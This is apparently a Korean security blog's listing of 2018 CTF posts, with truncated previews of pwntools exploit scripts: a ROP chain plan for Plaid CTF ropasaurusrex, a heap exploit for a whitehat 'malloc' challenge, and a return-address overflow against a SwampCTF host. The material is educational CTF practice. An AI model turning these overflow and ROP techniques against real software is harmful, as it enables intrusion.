0x07 CTF(37)
-
DEFCON CTF Qualifier 2018 ELF Clumber
잡담:데프콘 예선전 끝나고 다시 일상으로 돌아와서 내 수준에 맞는 공부를 진행하러 카페에 왔는데 뭔가 다시 풀어보고 싶어서 풀어보았다. 데프콘 처음 나가보았는데, 역시 포너블 지식, 타입에 대한 지식이 아직 부족한 상태였고, 리버싱은 매일 키젠과 크랙미 이런 것만 풀다가 문제를 아직까지 1차원적으로만 바라보지 못했던 점과, 모듈을 적용해야 하는 문제나, 텐서플로우를 사용해야 하는 문제 이런 "트렌드"를 몰랐던 것이 패배의 화근 이었던 것 같다.대회는 POCSEC에서 치루었는데, POC분들이 복지에 많은 힘을 기울여주셔서 감사하면서도, 나는 문제를 풀지 못하여서 살짝 죄송한 감도 있었다.하지만, 순위가 중요한게 아니다. 처음으로 2박3일간 대회를 팀원들과 모여서 해보았다는 것은 큰 의미가 있었다. 그 친구..
2018.05.14 -
Plaid CTF ropasaurusrex Expliot
#!-*-encoding:utf-8-*-from pwn import*'''rop 의 목적 : nx 및 alsr 우회조건 1. system 함수가 필요하다조건 2. binsh 가 필요하다 트리거 과정1. system 을 구한다2. binsh 를 구한다3. 페이로드를 작성한다'''context.log_level = 'debug'elf = ELF('./rop')p = process('./rop') read_plt = elf.plt['read'] # 함수를 호출하기 위해 plt가 필요하다write_plt = elf.plt['write']read_got = elf.got['read']#elf = elf.plt['system']바이너리에 시스템이 존재하지 않아서 쓸 수 없다.pppr = 0x80484b6 # obj..
2018.05.02 -
whitehat malloc
help : bin4ry from pwn import *import sysp = process('./malloc') target = 0x400986 sys.stdout.flush()p.recvuntil('Stack Address : ')stack_addr = int(p.recvline(), 16)print stack_addr print p.recvuntil('> ')p.sendline("1") #mallocprint p.recvuntil('Enter size :')p.sendline("31")print p.recvuntil('Enter data :')p.sendline("A"*31) print p.recvuntil('> ')p.sendline('2') # freep.sendline('1') print p..
2018.04.14 -
defcon 2015 babyecho
보호되어 있는 글입니다.
2018.04.09 -
4~5월달 목표
5월달 목표 : 한 CTF에서 포너블 2문제 풀기 목표를 이루지 못하면, 공부를 더 해야하는 것. 반성하라.
2018.04.08 -
swamp return writeup
소요 시간 : 5시간 문제 의도1 read함수를 통해 50바이트를 읽어온다.2 retaddr이 &locret_8048595보다 크면 종료 3. 숨겨진 주소 : 0x08048AEA ropgadget 중 ret를 이용해야 함. payload : 버퍼를 0x26 채운 뒤 + ret 가젯 주소 + 내가 가고싶은 주소(플래그 있는 주소) 코드from pwn import * context.log_level ='debug' p = remote('chal1.swampctf.com',1802)#p = process("./return")print p.recvuntil("do: ")payload =""dummy = "A"*(0x26 + 4)_ret = p32(0x8048372)shell = p32(0x8048615)payl..
2018.04.08